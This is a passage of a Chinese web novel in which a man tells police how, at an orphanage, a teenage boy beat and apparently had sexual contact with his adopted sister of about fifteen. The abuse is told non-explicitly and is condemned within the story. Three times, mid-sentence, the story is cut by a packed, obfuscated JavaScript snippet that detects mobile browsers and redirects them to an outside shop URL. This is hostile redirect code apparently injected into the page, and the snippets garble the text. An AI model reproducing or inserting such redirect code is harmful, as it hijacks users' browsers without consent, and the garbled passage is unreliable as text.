难道这是季然叛逆期的自残行为导致的伤痕吗?但这也不应该呀,别人叛逆期自残都是割出来的或者掐出来的,她这伤口很明显也不属于那种啊。 季顺想不明白,找了个机会与季然独处,直接去问她到底怎么回事。可是季然避而不答,一直问她还会生气,然后她冷着脸跑了。 他又去跟季铭和周林说,结果两人都劝他别多管闲事了,说季然她自己都不在意,其他人还在意什么。 这番话让季顺感觉两人很是陌生,但多年的情义给他戴上了滤镜,并没有多想,只觉得是自己在疑神疑鬼。 从那之后,他总能看到季然身上的新伤,不严重,但是总归让他看着不舒服。问了好几次,问到最后季然看见他就避开。这件事也就不了了之了。 可是没想到,在一次难得的假期里,他接了个兼职去帮个小学生补课,结果到了地方后那家人临时鸽了他,让他第二天再过去。 季顺无奈,在附近随便买了点零食,又坐车回到福利院。 今天钱还没挣到,出来一趟倒花了不少。 他在心痛中走进这住了十几年的地方。不过既然今天被鸽了,那就好好休息一天吧,给他们三人送点零食,正好大家都好久没吃过了。 路过一间已经废弃的用来放杂物的老平房时,他听到里面好像有什么声音。 很轻微的喘息声,夹杂着略带痛苦的抽气声。 35. 心态崩了 他一瞬间以为大白天的闹鬼了,全身寒毛都起来了。但又控制不住好奇,凑近去听。 “嘶……疼……” 离近后,声音愈发明显。季顺的脸色有些古怪,这声音怎么听起来这么像小妹季然的。 他贴在边上仔细听动静,想听听到底是不是她。 随后里面传来新动静,好像里面的人要出来了。 季顺连忙躲在墙角另一边,听着脚步声从里面走出来,然后走向另一条路。 伸出脑袋偷偷看了眼,仿佛一道雷劈进他脑子里,他瞳孔地震。 怎么会是季铭和季然他们两! 所以季然身上的伤是季铭打的? (一种植物)! 季顺浑浑噩噩地回到自己的床铺,已经忘记了要分零食这回事。 第二天他又浑浑噩噩地出去做家教兼职,满脑子都在思考这两人到底发生了什么,为什么明明从小就很疼爱妹妹的季铭要打她。 到下午他给那家小孩补完课回来时,才想起昨天没跟他们说自己的兼职挪到今天了。 算了,反正他现在脑子很乱,看到季铭还不知道该怎么说。 再又一次路过那个放杂物小平房时,里面再一次传来声音。 “……”季顺无言,走近后听了听,确实是季然的声音,然后他听到季铭说的话。 “别想着告诉别人,没人会信的。只有我才会一直陪着你,一直相信你。犯了错就是要挨打,你看,哥哥下手很轻,都没有破皮呢。” (另一种植物)! 这么变态的话真的是季铭说出来的?季然这么乖巧内向的女孩子能犯什么错要天天被打啊? 季顺感觉他心态都要崩掉了,认识十几年的好朋友,还有这么变态的一面,变态的对象还是他妹妹! 就算没有血缘关系,但是一起在福利院里相处陪伴了这么久,这不是亲人也胜似亲人的啊! 他一时无法控制自己的情绪,紧抿双唇,走上前就猛地踹门。 里面又发出什么动静他没注意,这老旧的大门没什么安全性,几下就被踹开了。 快步走进去,季顺一眼就看到季然跪在地上。袖子被撸上去,露出来的手臂上有很多被抽出来的伤痕。而季铭的手里拿着根树条,正错愕地看过来。 “你混蛋——”季顺只感觉一股火气冲上脑门,太阳穴突突的,冲过去直接一拳把他打倒在地。 “小妹她犯什么错了要被你天天打?你还是不是人啊!”季顺嘶吼质问道,又一拳砸他脸上。 季铭先是懵了一会儿,被打了第二下后回过神,开始抵挡季顺的拳头。 “你为什么不说话?”季顺简直目眦欲裂,压在季铭身上声声质问。 还跪在地上的季然也懵了,看见哥哥被打了好几下后连忙冲过来拉架:“不要打我哥,他没做错!” 这话犹如冬天里一盆凉水从头淋到脚,季顺打到一半,手上的动作顿时僵住了,不敢置信地转头看着她:“你说什么?” 这一愣神间,季铭瞬间掌握主权,“扑通”一声响,被压制的一方换了人。 “你有没有脑子?就算他是你哥,他也不能打人!”季顺被压制在地上,瞪大了眼睛,满脸不可思议地冲着季然喊道,恨铁不成钢。 “哥哥没打我,只是我犯错了在教育我而已,你不要多管闲事!”季然上下检查季铭的伤,心疼极了,眼里冒出泪花。 季顺费劲地扭头看到这一幕,紧握拳头,指甲嵌入掌心,声音都有些颤抖:“我多管闲事?” 相伴十二年的情义,换来的是一句“多管闲事”,他气得浑身发抖,真的要崩心态了。 制止住季顺的行动后,季铭喘着粗气,哑着嗓子说:“我很感激你能对她的安危上心,但这是我们兄妹两的事,跟你没关系。” 季铭被他牢牢压制在冰冷的地面上,挣扎了几下没挣脱开。紧握成拳的手指关节因用力过猛而发白,呼吸声沉重而急促,怒火在胸口沸腾。 “我去你的!什么叫跟我没关系,我们是认识了十几年的朋友!” “就算她是你亲妹妹,你也不能这样打她啊!”他充满了愤怒,感觉就像一座即将爆发的火山似的。 “你冷静点,这又不是什么大事,你为什么要这么生气?”季铭很是不能理解季顺,他跟季然之间的事,怎么还让季顺生气了,莫名其妙就被挨了好几拳。 季顺的声音提高了几个度,每个字都像是从牙缝中挤出来的:“你这几年书都白念的吗?全读到狗肚子里去了。好好好,是我多管闲事了,季铭你丫的放开我!” “你保证不动手就放开你,我们都是朋友,没必要闹成这样对不读?”季铭很理智,虽然不明白季顺为什么生气,可作为多年好友,他也不想跟对方闹得太难看。 季顺强忍怒气,深呼吸数次,尽量平复自己的心情:“好,我冷静了,我不会再动手,但你也必须保证不再欺负小妹了。” 听到这话,季然皱着眉反驳:“哥哥没欺负我。” 季铭不想因为一件小事跟好朋友闹僵,嘴上答应着:“好,我答应你。” 本来听到季然的话气得连通红的季顺,听到季铭保证后,压下了火气:“行,放开我吧,我不管你们。” 季铭放开了他,他从地上爬起来,动作粗鲁地拍了拍身上的灰。他不想看到这两个人了,直接往门口走:“我需要冷静一段时间,你们不要跟我说话。” 一路走回自己床铺后,季顺拿起几件衣服就去宿舍卫生间冲了个冷水澡。临近深秋的气温里冲冷水澡冻得他直哆嗦,大脑一片空白,什么都无力去想。 随后他又过上了学校与福利院两点一线的生活,与之前不同的是,上下学他不跟他们一起走了。 周林还疑惑过,季铭只说他们之间闹了点小矛盾,让季顺冷静几天就好了。 日子就这么过去,天气越来越冷,很多体质虚的人都换上了棉袄。 又是一次放假,年前的最后一次休息时间了,高考倒计时在黑板上不断减少数值,提醒着他们要拼命努力。 无论是季顺还是季铭与周林,三人压力都很大,他们都有各自想要进的学校,为了一个目标而咬牙不停奋斗着。 说真的,若不是被他亲眼撞见那件事,他始终不会相信季铭是那样的心理扭曲之心。 在放假前一天,季顺抽空找到周林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179120|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 单独谈了谈,说了季铭与季然之间的事。本想着让周林也去劝一劝季铭,结果周林说出来的话让他手脚冰凉。 “这是他们兄妹两的事,一个愿打一个愿挨的。他们两都不在意,你掺和什么?” 他不记得最后自己怎么回到的福利院,只知道那晚吹过来的风很冷,像是直接吹进了他的骨头缝里,从十七岁到二十八岁的十一年间,他始终都记得。 “后来呢?你真的就没管他们了吗?”纪然听了半天,就差拿瓜子嗑起来了。 季顺看了眼时间,下午两点多了,连忙道:“后面还有,不过等我下班说吧,我要去忙工作了。” 他晃了晃手机,快步往公司大楼走,动作飞快,拦都拦不住:“到时候我给之前的号码打电话。” 讲故事只讲一半什么的,真的好气人,比烂尾还要惹人恨,纪然愤愤想着。 算了,烂尾也不好,不要比烂。 “两点多了,先去吃饭吧。”宋承看了眼手机,距离上午吃完饭后过去接近五个小时了,不吃东西人容易没精神。 而且人都跑了,又不是嫌疑犯,再去抓回来询问也不合适。虽然说警察办案要求群众配合,但是人家就是不愿意配合还能强来吗? 他们在附近找了一家饭馆,好好地大吃了一顿。然后看到纪然的眼睛一直盯着对面的奶茶店看,在吃完后他们又坐进了奶茶店里。 这里居然还有卖甜品的,纪然对这些东西充满了好奇。 知道是队长请客后,肖羽很不客气地点了一份最贵的小蛋糕。好不好吃不要紧,重要的是贵。至于为什么不是大蛋糕呢,是因为他刚吃完饭,还吃不下太多东西。 李新咏没肖羽这么皮,但他也点了一份加满小料的多拼混合版巨无霸超级大杯奶茶,丝毫没跟队长客气。 暗中观察的纪然看见两人的做法后,对着店员说:“他们两刚点的我都要一份。” 宋承:“……” 算了,又不是买不起。 宋承点了杯个位数价钱的柠檬水。 结果纪然刚转过身就看到他点的,又对店员喊道:“这个我也要一杯。” 三个人都发现了纪然的不对劲,待她坐过来时,肖羽眼睛一瞥,笑问道:“怎么我们点什么你就点什么,没自己喜欢的吗?” 她挠头:“我好像没吃过没喝过这种东西,完全没印象。” 他们都知道纪然只是失去过往记忆,并没有失去常识,但这种小蛋糕和奶茶不算在常识性的食物里吗? “难道你以前是住在大山里的?”肖羽挖了一口小蛋糕,眉开眼笑。果然,免费的就是最好吃的。 纪然学着他的样子也挖了一口吃进嘴里,确实很好吃,跟之前李新咏给的东西一样,都是甜的。 “感觉不太像,对这种城市化里的常识性知识我都知道,没道理没见过这个呀。”她用叉子戳了戳蛋糕,又挖了一口。 李新咏还在等他的奶茶做好,略微思索后说:“从之前抓获的玩家口中得知,这个世界,或者说延伸至更高维度的宇宙结构里,并非单一孤立的存在,而是可能包含了众多相互独立却又相互关联的世界。” 纪然:? 36. 脑子有病 “平行世界?次元世界还是纬度世界?”肖羽撇嘴,“说那么复杂干嘛,听不懂。” “不过针对上面提到的世界编号,感觉更像是小说里提到的那种,怎么说呢,就是可以跨空间跨时间和跨纬度的世界。”肖羽继续说道。 宋承拿着柠檬水坐过来:“怎么说?” 肖羽又点了杯解腻的果茶,转过头继续说:“比如我们现在所属的,把它称之为现代世界,但同时在某种程度上来讲,我猜无限游戏可以把人带进我们的古代世界,或者未来世界。这是一种,与我们有关联的世界。” 这个倒是不难理解,通俗点来说就是时间线不同的同一个世界。纪然暗戳戳示意店员她也要一杯。 “第二种是与我们现代世界没关联的。比如其他星球,其他宇宙,亦或是在其他时间线上的陌生世界。全都是像我们这样的独立世界,而且都可以衍生出第一种里的跨时间的世界。” 这个有点复杂,纪然想了想,直接把它当成与现代世界没关系的不同世界来划分。 “还有第三种,比较好理解。就是人为的或者‘创世神’创造出来的世界。简单来说就是你脑子里自己构思出来的世界,比如小说、游戏、传闻等,只要设定完整,它也能自成一方世界。” 嚯,这么厉害,岂不是她想象出来的精神世界能具现?纪然开始在脑子里想象她在自己的世界里非常有钱,那里没有无限游戏,她活得有滋有味。 肖羽瞥了她一眼,仿佛能猜到她在想什么,忍俊不禁:“别想了,这只是个猜测,我每天都在幻想着暴富,但现实却总是残酷的。” 行叭。 纪然接过李新咏递过来的超大杯奶茶,吸了一口。 好奇怪的味道,不确定,再喝一口,再喝一口。 四个人就坐在店里聊着天,边吃边消化,宋承时不时低头用手机回复着什么,看表情应该是在处理公事,可能跟案子有关吧。 听肖羽科普了一堆知识后,纪然摊在椅子上,彻底吃撑了。 肖羽:我怀疑你在内涵我。 “接下来要去哪调查?”纪然揉了揉胃部,扭头问宋队长。 “周林的追踪工作已交由专人负责,十几年前福利院的线索交给陆兆兴去打探了,张统身上的线索中断,季铭和季然的情况要等季顺下班……” 说着说着,宋承看了她一眼:“总而言之,我们现在除了等之外,就是从你身上找线索。” 想起昨天做的体检和生物信息登记,纪然有些意外地问道:“我的检查报告出来了?还是说找到我的身份信息了?” “都没有,”宋承喝着自己的柠檬水,表情沉稳平静,“显而易见,你现在什么都不记得,我们唯一能做的就是等季顺下班。” 好叭,纪然又瘫回椅子上,又扭头看一旁对着手机傻乐的肖羽,建议道:“闲着也是闲着,要不你去找个班上吧。” 听到声音从屏幕上挪开视线的肖羽,看过来的眼神迷茫极了:? 他被这句话硬控了两秒,回过神后有些难以置信:“我不是在上班吗?你怎么不去?” 宋承接过话:“她还没户籍信息,连临时身份证都办不了。” 纪然摊手,表示她也很无奈呀。 时间悠悠地过去,又是一个平静的下午,令纪然不禁想起昨天。也是复杂的上午,平静的下午,晚上就刺激得要命。 希望今晚可别再出事了,信女愿这一生每顿都荤素搭配三菜一汤,求今晚不出事。 太阳渐渐西沉,天际的低云层被夕阳染成了一片深邃的红色,如同被烈火燃烧,整个视野仿佛被点燃,映照出一片绚烂的火海。 肖羽接到了季顺的电话,问他们在哪。报了位置后,三人进了电玩城去找纪然,然后在一个射击打怪游戏机前成功抓到人。 等季顺到的时候,四个人整整齐齐正坐在一家咖啡厅的角落里。 待咖啡端上来后,季顺又开始了回忆,那段成年前的经历离谱的十七岁青春时光。 从撞见那种事之后,与周林交谈并没有任何用。虽然季铭答应他不再欺负季然,但是实际上他每次观察的时候,都能发现季然身上的新痕迹。 趁着这次放假,季顺决定跟季铭好好谈一谈。 其实他也想过要不要告诉院长妈妈或者老师,但是在所有人眼里,季铭和季然是兄妹。加上季然那抗拒的态度,一副死脑筋认准季铭,哥哥说什么都对的样子。 他倒不是害怕说出去没人会相信,而是害怕说出去了他们的友谊就真的走到尽头了。 放假那天是周五晚上,他们下了晚自习后直接坐公交回福利院。在一开始等车时,季铭带着季然和周林走过来,几人都看见了对方。 季顺没在这等车人多的时候说什么,而是走到季铭面前说:“等回去了我们好好谈一谈吧。” 季铭脸上挂着微笑,语气轻柔:“当然可以,你要是能想明白就更好了。” 这句话让季顺手臂上直接起了鸡皮疙瘩,或者冷战的这段时间里,季铭根本就没有意识到自己的问题在哪里。 季顺开始担忧,自己真的能把他那种奇怪的思想给扭转过来吗? 最后一趟公交车在黑夜中穿行,周林在中途下了车。到最后,车上只剩下零零散散的几个人。 一路晃晃悠悠,他们回到福利院时已经半夜十一点多了。除了门卫室还亮着灯外,里面几乎漆黑一片。 福利院里小孩子多,大家也睡得早,走进去后更能感受到深夜带来的静谧。 季顺和季铭走到空无一人的杂物房,就着昏暗的月光展开了谈话。 “你为什么要打你妹妹?”季顺先开口问道。 “那不是打,她做错事就该受到教训,没有父母教育就由我这个做哥哥的来。”季铭双手插兜,后背靠在墙上回答。 季顺深吸一口气,压下自己翻涌的情绪:“她做了什么错事?” 黑暗中,月亮那微弱的光线并不能看清季铭的表情,只能听到他冷笑了一声,微哑的声音响起:“她还这么小,就收到了其他男生的情书。你说这是不是该教训?” 什么玩意? 一时间季顺以为自己耳朵劈叉了,怎么听到了疯言疯语。他有些瞠目结舌:“那该教训的是给她写情书的男生吧,跟你妹妹有什么关系?” 冬天的晚上很冷,但季铭的声音更冷:“一个巴掌拍不响,苍蝇不叮无缝蛋。若是她没有那种心思,怎么会让人想要接近她?” 季顺满脑子问号,认识这么久了,第一次发现季铭好像脑子有病,一口一句受害者有罪论。明明大家都是在同样的环境下长大的,怎么就季铭长歪了。 他不理解,也不想理解,忍不住反驳:“可是她本身并没有做什么啊,被那些男生盯上又不是她自己愿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179121|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意的,你怎么能这么说!” 季铭盯着黑暗中的季顺,无声地冷笑:“问题就是在于她什么都没做,若不是前几年替她整理东西时发现了情书,我恐怕至今仍被蒙在鼓里。” “什么意思?”季顺皱眉,做了是错,不做也是错? “如果她能够早点坦白,我何至于生气。是她自己选择了隐瞒,一直等到我主动询问才知道真相。”寒意从墙壁上透过层层衣服抵达季铭的皮肤,说话的语气更是冰冷到让人心里发毛。 平常他一直都是个冷静温和的人,只有关于妹妹季然的事才会让他动怒。 凌冽的风从路口吹过来,季顺被吹得眯了眯了眼,沉默几秒,问:“……什么时候开始的?” 季铭靠在墙上,微微仰起头,任由寒风拍在脸上:“三年前。明明她有无数次机会可以告诉我,却始终没说。” 三年前,季然才上初一,年龄不大个子不高的,居然就被盯上了。这怎么可以呢,季然可是他的妹妹,没他的允许怎么能擅自与别人谈情说爱呢? “有没有一种可能,她不敢被你发现,就是怕你说她。你不会虐待了她三年了吧?”季顺细思极恐,仔细回忆三年前季然身上有没有被打的痕迹。 “你把我想象成什么人了?”季铭脚尖踩了踩地面,活动了一下脚,黑暗里只听得到细碎的声音,“之前我觉得她还小,只稍微说了她几句。可没想到现在她都高中了,还是能收到情书,甚至还有男生约她出去玩。” “所以就因为这个,今年你就开始打她了?”季顺越听越满脑子问号。 身为兄长,在自己妹妹遇到这种事后不应该是担心她的安全问题吗,怎么会因为自己妹妹在某些优秀方面吸引到别人的目光而教训她呢? 季铭不置可否:"你不是想知道真相吗?看在我们从小一起长大的份上才跟你说这些,我始终视你为最铁的兄弟,不希望因这件事而影响我们多年的情义。" “而且我并没有打她,只是些小小的教训,让她以后更乖一点而已。”他淡淡地说道,眼睛望着远方的宿舍楼。 这话把季顺气笑了:“你当训狗呢,她一个活生生的人,为什么要因为这些莫须有的罪名去限制自己,要按你的方式去活着?” 季铭皱着眉,似乎不能理解他这话的意思:“为什么要这么说?我这也是为她好,何况她自己都觉得我做得对,你为什么还要阻拦我们?” 此时的季顺,内心如同被重物压住,几乎窒息。他已清醒地认识到,说服季铭几乎是不可能的,更别提改变季铭那根深蒂固的腐朽思想——这不是他一个与季铭同龄的未成年人能做得到的。 关于举报,那无疑是徒劳的,毕竟这两兄妹就是一伙的。他势单力薄根本没人会相信他所说的。那种深深的无奈与愤怒,如今回想起来,依然如昨日般刻骨铭心,历历在目。 纪然轻抿着咖啡,听得津津有味,见季顺停下来还催促道:“然后呢?事情没这么简单吧?” “你等我先喝两口水吧,说话说得我嗓子都干了。”季顺无奈道,端起杯子就墩墩喝着,把咖啡当成了矿泉水喝。 见他一口闷完一整杯咖啡,纪然手撑在下巴上,眼巴巴地盯着:“听你的描述,我觉得季铭他后面肯定还有什么动作,继续讲继续讲。” “确实有动作。”说到这里,季顺眼神很复杂,皱着眉,表情看起来一言难尽。 37. 这就惊讶了? 那一次的谈话他们最终还是不欢而散。 季顺阻止不了季铭,也阻止不了季然,他不知道还能做些什么。 除了上学外,他开始逃避这一切。只要不去看这两人,不去听不去想,生活就能像往常一样平淡而辛苦,一切都在步入正轨。 鸵鸟般的心态确实让他度过了一段比较舒适的时间,那兄妹俩的事他都开始放下了,也不想再多管闲事了。 时间一晃而过,眨眼间临近春节。他们高三年级只放了一周多的假期,而高一仍然是有大半个月的寒假。 季顺内心虽有些许羡慕,然而高考在即,他也没什么抱怨的,毕竟他高一时也经历过这些。 从学校回到福利院时,门窗上已经贴好了红窗花,门口挂上了红灯笼,看起来喜气洋洋。与往年一样,在这个大家庭中,充满了过节的氛围。 好好休息了一晚后爬起来,季顺只感觉自己浑身神清气爽,带着那些年龄还小的弟弟妹妹们在围墙里的活动区玩了好久。 明天就是除夕,大家都在为过年而忙碌着。特别是食堂和礼堂那边,不仅要提前准备明天的年夜饭,还有孩子们的表演彩排。 准备去食堂帮忙的时候,季顺被一个忙得不可开交的护工阿姨叫住了,让他去杂物房那边找点东西,然后送到礼堂交到负责监督彩排的老师手里。 他一口答应了,转身往杂物房那边走。这一路上,无论大人还是小孩基本上都在生活区这边,显得其他地方空旷极了。 走到这条带给他不好回忆的道路上时,他自己跟自己开玩笑般地想着,该不会又能在杂物房碰到季铭和季然吧 虽然,但是—— 靠近杂物房时,他慢慢停下了脚步。 里面果不其然又传来动静。 “……” 真的服了,他们在杂物房里,现在他跟季铭还在冷战呢,那他进去拿东西撞见了岂不是很尴尬? 不对,等等。 季顺止住想掉头走的冲动,靠近了点侧着耳朵仔细听。 里面传来细细地闷哼声,时不时说着话,听声音就是季然的。 随后能听到季铭的回答声,具体说了什么他听不清,却能听到季铭的呼吸声很粗重。 季铭又在里面打人了? 再次撞见这种场面,明明当时想着再也不管的,但是到自己再次碰上时,他很难控制自己真的不管。 人心都是肉长的,怎么说那也是与他相伴十几年的朋友。眼睁睁看着其中一个思想越来越扭曲,另一个几乎被洗了脑似的丧失自我,他真的看不下去。 就在季顺犹豫要不要进去阻止的时候,里面的动静变大。 在听到一阵只在视频里听到过的杂乱声音后,季顺的脸色骤然变得古怪起来。 不是,什么鬼? 他们两在搞什么? 不会真的是他想的那种吧?不会吧,不会吧? 季顺头脑有那么一瞬间的迷糊,皱着眉不知道该做出什么反应,呆呆地站在那半天没动弹。 随着里面动静越来越大,季顺忍不住面红耳赤地后退,根本不敢靠近。 里面真的是他们两吗?该不会是他听错声音了吧? 季顺开始怀疑自我,强烈的尴尬感让他没法思考太多,脚步踉跄地离开了杂物房附近。 他绕到一处隐蔽的角落,藏身于阴影之中等待着。一边想看看里面到底是谁,一边平复心情。 结果这么一等就等了快一小时,保持一个姿势不动他腿都快站麻了,在深冬里冻得手脚冰凉,才终于等到杂物房的门被人从里面打开。 走出来的人是季铭,瞧着倒没什么不对劲的地方。他环顾四周后,又回到杂物房里,搂着季然一起出来。 仿佛有一道雷直接劈进他脑子里,炸得他脑门嗡嗡的一片空白。胸口心脏剧烈跳动,他艰难地咽了咽口水,扶住了墙。 季顺的内心瞬间飙出无数种植物。 等他们走远后,季顺才同手同脚地走出角落,推开杂物房的大门。 一进去就闻到一股难言的味道,透露着荷尔蒙引起的气味。里面大概是被整理过,一些地方的灰尘很突兀的被擦干净了。 他脑子还是有些蒙圈,勉强找到护工阿姨让送过去的东西后,急匆匆地就离开了杂物房。 他没发现天空什么时候飘起了雪花,只知道那天站在角落里的一小时无比地难熬。 咖啡厅的角落里,肖羽低声骂了句什么,然后问:“你说真的?” 也许是这个独自守着的秘密在隔了十几年后终于说了出来,季顺坦然了不少,耸耸肩:“我没必要骗你们,不过我也没有证据。反正那个时候我见到的情况就是这样的。” 纪然的眼里也透露着诧异,有些迟疑地问道:“他们真的……那样了?” 这也太禽兽了吧,那时候季然才十五六岁吧。 宋承和李新咏的神色冷峻下来,如果季顺说的都是真实的,那么季铭当年的所作所为,已经属于犯罪了。 可是季铭当年也没成年,同样属于未成年人。从法律上来讲,以他们的关系和相处模式,很有可能不会被定性为犯罪。 “这就惊讶了?后面还有更让人震惊的。”季顺自嘲一笑,继续讲后面发生的事。 不知道是因为自己多想还是怎么的,十七岁时的季顺总感觉只要看到那兄妹,就能发现他们之间过于暧昧的氛围。 虽然知道他们并非血缘关系,但季顺一直视季铭和季然为半个亲人,多年的深厚情感早已超越了血缘的界限。季顺始终无法理解,季铭他怎么能对妹妹生出那样的心思,而且看他们相处,季然很有可能还是自愿的。 这一切都非常的不可理喻,还活在校园象牙塔里的季顺,随着一系列事件的发生,三观遭受到了前所未有的猛烈冲击。 第二天就是除夕,大家一起忙活准备好了一切。食堂大锅里的香味在上午就已经飘得满处都是,把还在背单词的季顺馋得不行。 他静不下心,索性休息休息给自己放一天假,下楼跑到食堂偷吃点边角料,然后去礼堂看孩子们的节目表演。 大礼堂内洋溢着节日的喜庆气氛,五彩斑斓的毛条彩带从天花板垂下,与墙面上缤纷的卡通图案交相辉映,仿佛将整个空间装点成了梦幻般的童话世界。 孩子们在台上载歌载舞,他们的歌声和掌声交织在一起,让整个礼堂充满了欢声笑语。 季顺坐在后面欣赏了一会儿表演,余光中看到不远处有个熟悉的身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179122|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影走过来坐在那。他转头一看,是季然。 她怎么是一个人,季铭没陪着她? 算了,别又被说多管闲事了。 刚想再扭回头继续欣赏表演,季然就正好转头,两人视线对上了。季顺一愣,隔了好几米的距离都能看到她发红的眼眶。 一下子季顺什么娱乐心思都没了,内心充满了纠结和挣扎。不管他跟季铭之间有什么矛盾,实际上季然都是作为受害者一方。怎么说这也是他看着长大的半个妹妹,无法真的狠下心来放任她不管。 他凑过去坐在季然边上,低声问:“怎么哭了,谁欺负你了?你哥呢?” 季然揉了揉眼睛,瓮声瓮气地回答:“没什么,就是最近考试没考好。” 这话说的季顺压根就不信,季然虽然是比较懦弱内向的性格,可绝不是轻易流泪的一个人。从小到大,他几乎从未见过她掉过一滴泪。 在季顺的印象里,季然虽然外表看似柔弱,但内心却蕴藏着惊人的坚韧。无论面对何种困境,她总是选择默默承受,从不轻言放弃。 这样坚韧的一个人,怎么会因为一次考试就红了眼圈呢? 在季顺晓之以情动之以理地追问下,季然才告诉他,她与哥哥之间有一点小矛盾。 小矛盾?季顺嗤之以鼻,不过想起昨天的发现却让他感到有些许尴尬,他难以相信这是事实。尽管心中存疑,他还是保持着耐心,仔细询问她究竟发生了什么事情。 季然明显不想继续谈这个话题,季顺也没放弃,拉着她到外面稍微偏僻的角落里继续说。 “我……其实我知道有些事情哥哥做得不对,可是我不想反对他,这个世界上只有他才是最爱我、也是对我最好的人。”季然低着头不敢看季顺,虽然这些话说出来可能会让他不高兴。 果不其然,季顺听后直接脸色就沉了,眼神晦涩不明。他感到一阵强烈的挫败感袭来,仿佛所有的努力和付出都化为泡影。 明明他也是陪伴她一同成长的半个哥哥,虽然在小时候季铭曾帮过她,他们的关系更为亲近,这本是人之常情。 也许他可能不是季然生活的焦点,但这并不意味着他就可以被忽视和遗忘。他曾经也用心地对待季然,毫无保留地付出自己的真心和关怀,把她当成亲人,当成生命里最重要的人之一。 然而,现在看来,所有的心意似乎都白费了。季然的心里似乎只容得下季铭一个人,也只记得季铭的好。他甚至怀疑自己是否真的曾经在她生活中出现过,为什么她对他人的善意视而不见? 再想到最近发生的事,季顺虽然生气,却还是强压住自己的情绪,担心她是真的受到了伤害:“你知道你在说什么吗?他身为兄长,对你好,那是他应该做的。但是,这并不意味着他就可以为所欲为,无视你的感受和尊严。” “可是不管怎么说,哥哥始终都是我最亲近的人……我脑子里很乱,我知道我们不该这样,但是我无法脱离这种状态,我也不想失去他。”季然手指绞着棉衣的衣角,从声音中也能听得出她的挣扎。 听起来似乎季然并不是自愿的? 那面对这种情况,他说什么都得帮她啊。 季顺试探性地说:“你若不愿意这样的话,我可以帮你。” 38. 瞳孔地震 季然轻咬着下唇,没有直接回答,而是带着一丝迷茫反问:“你打算怎么帮我?” “虽然我并不清楚事情的前因后果,但你从来都不是孤立无援的。你有我,有朋友同学,还有福利院这个家。我会陪你一起找到解决问题的办法。”季顺说得很是慎重又缓慢,怕给她带来过多的压力。 他想了想,如果是季铭他思想偏激,经常欺负季然,那么首先应该尝试与福利院的大人们沟通。毕竟,他们都是未成年,季铭和季然还是兄妹关系。在这个阶段,问题可能还没有严重到需要报警的程度。 他低下头对着季然用哄着的语气说道:“我们可以试着告诉院长妈妈或者老师,他们作为大人有很多生活经验,肯定知道该怎么处理。再不然,我们还可以报警。” 哪知道季然听到这话后,情绪激动起来,表现得很是抗拒:“不,不行!不能让其他人知道!” 季顺被她突然的情绪爆发弄得有些措手不及,他看着季然脸上的慌乱和抗拒,心里明白,季然对季铭的依赖和恐惧已经根深蒂固。加上昨天发现的事,如果是真的…… 他感到一丝尴尬,却还是小心翼翼地继续问道:“昨天在杂物房,他……是不是强迫了你?” 他顿了顿,又补充道:“他又打你了?” 这最后一句话似乎并没有带来任何缓解,反而让季然的身体瞬间僵硬。她的脸颊迅速泛起红晕,随即又被一种强烈的尴尬和窒息感所笼罩。她低下头,沉默不语,脸色很快又变得苍白。 季顺从季然的沉默中读出了答案,他的心中再次充满了震惊和无助。面对这意料之中而又意料之外的真相,他感到心乱如麻,一时间竟不知该如何是好。 虽然又震惊又无助,不过季顺知道现在不是逃避的时候。季然需要他的帮助,他不能让她一个人面对这一切。他深吸了一口气,试图让自己冷静下来。 “小妹,”他努力控制自己声音不颤抖,深呼吸一口气后,很是认真地看着季然,“无论你经历了什么,我都会站在你这边。告诉我真相,我们一起想办法解决。” 话音落下,四周陷入了一片沉静。 季然沉默了好一会儿才抬起头,眼中闪过一丝犹豫,最终,她还是缓缓开口:“哥哥他……没有强迫我。” 她的声音微弱:“可……可是我也不想这样。我不知道该怎么办,我害怕,我真的很害怕。” “只是,真的不能让其他人知道,不能告诉别人,不能说出去,真的不能……”季然的眼里溢出泪水,几乎用哀求的语气说道。 看到季然开始流泪,季顺有些手无足措:“你先别激动,咱不着急不着急啊。季铭没有强迫你的话,是又发生了什么吗?” 她摇了摇头,用袖子擦了擦眼泪,眼眶通红。也许是哭出来后就没那么容易忍下去,她哽咽着说:“要高考了哥哥压力也很大,我能理解他,我不怪他,可是……” 听到这里,季顺气得额头的青筋都冒了出来,打断了她的话:“没有什么可是!每个人高考压力都很大,但这不是季铭他做出这种畜生行为的理由!” “就算你们没有血缘关系,但他的身份一直以来都是你哥,况且你这才多大啊他就这样对你,真是畜生!”他忍不住骂起来。 季然被季顺突如其来的态度所惊住了,他从未在她面前展露过这样的模样。 